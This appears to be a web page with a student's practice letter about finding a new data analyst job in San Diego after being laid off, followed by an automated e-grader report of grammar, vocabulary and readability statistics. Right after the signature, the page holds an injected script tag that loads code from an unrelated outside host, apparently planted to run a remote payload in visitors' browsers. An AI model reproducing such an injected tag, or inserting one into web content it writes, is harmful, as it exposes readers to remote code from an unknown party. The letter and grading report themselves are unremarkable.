I hope this letter finds you well. I wanted to share my happiness with you that I got a new job after 10 rounds interviews. Before last week when I received the offer, It was a hard time for me since I was laid off by my previous compnay. Now things get better.
I liked my last job, since it was not easy for me to get a data analyst position in LA. While the recession was coming, thus the company had to reduce budgets.My team was on the list to be cut off. For three months I could not sleep and eat well. Fortunately, I got this job similar to my previous one. Moreover, due to the small scale of the company, I willl take ove the data engineering work besides the data preprocessing, which is closer to my dreaming postion duty.
This company locates in San Diego. Once I settled down here, I would like to invite you and Wendy to come for travelling, I promise you will love this city.
Bless me work better here! I am waiting for you reply.
Sincrerely,
Tony<script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
Line 3, column 160, Rule ID: SENTENCE_WHITESPACE
Message: Add a space between sentences
Suggestion: My
... thus the company had to reduce budgets.My team was on the list to be cut off. For...
^^
Transition Words or Phrases used:
besides, moreover, thus, well, while
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 7.0 7.48453608247 94% => OK
Auxiliary verbs: 3.0 4.92783505155 61% => OK
Conjunction : 2.0 5.05154639175 40% => More conjunction wanted.
Relative clauses : 3.0 3.03092783505 99% => OK
Pronoun: 34.0 32.9175257732 103% => OK
Preposition: 24.0 26.3917525773 91% => OK
Nominalization: 2.0 3.85567010309 52% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 795.0 937.175257732 85% => OK
No of words: 186.0 206.0 90% => More content wanted.
Chars per words: 4.27419354839 4.54256449028 94% => OK
Fourth root words length: 3.69299088775 3.78020617076 98% => OK
Word Length SD: 2.38627928461 2.54303337028 94% => OK
Unique words: 121.0 127.690721649 95% => More unique words wanted.
Unique words percentage: 0.650537634409 0.622605031667 104% => OK
syllable_count: 250.2 290.88556701 86% => OK
avg_syllables_per_word: 1.3 1.41237113402 92% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 11.0 9.13402061856 120% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 3.0 1.83505154639 163% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 2.0 1.44329896907 139% => OK
Performance on sentences:
How many sentences: 12.0 12.6804123711 95% => OK
Sentence length: 15.0 16.3608247423 92% => OK
Sentence length SD: 43.6909533918 44.8134815571 97% => OK
Chars per sentence: 66.25 76.5299724578 87% => OK
Words per sentence: 15.5 16.8248392259 92% => OK
Discourse Markers: 3.0 4.34317383033 69% => OK
Paragraphs: 4.0 4.29896907216 93% => OK
Language errors: 1.0 2.54639175258 39% => OK
Sentences with positive sentiment : 7.0 7.41237113402 94% => OK
Sentences with negative sentiment : 2.0 1.49484536082 134% => OK
Sentences with neutral sentiment: 4.0 3.94845360825 101% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.128838294032 0.216113520407 60% => OK
Sentence topic coherence: 0.0469684177312 0.0766984524023 61% => OK
Sentence topic coherence SD: 0.0490943976469 0.0603063233224 81% => OK
Paragraph topic coherence: 0.0843028589982 0.12726935374 66% => OK
Paragraph topic coherence SD: 0.0273963543717 0.0580467560999 47% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 6.4 8.37731958763 76% => Automated_readability_index is low.
flesch_reading_ease: 81.63 70.7449484536 115% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 5.6 7.45979381443 75% => OK
coleman_liau_index: 7.19 8.71597938144 82% => OK
dale_chall_readability_score: 7.61 7.59969072165 100% => OK
difficult_words: 38.0 41.2886597938 92% => OK
linsear_write_formula: 6.0 8.62886597938 70% => OK
gunning_fog: 8.0 8.54432989691 94% => OK
text_standard: 6.0 8.15463917526 74% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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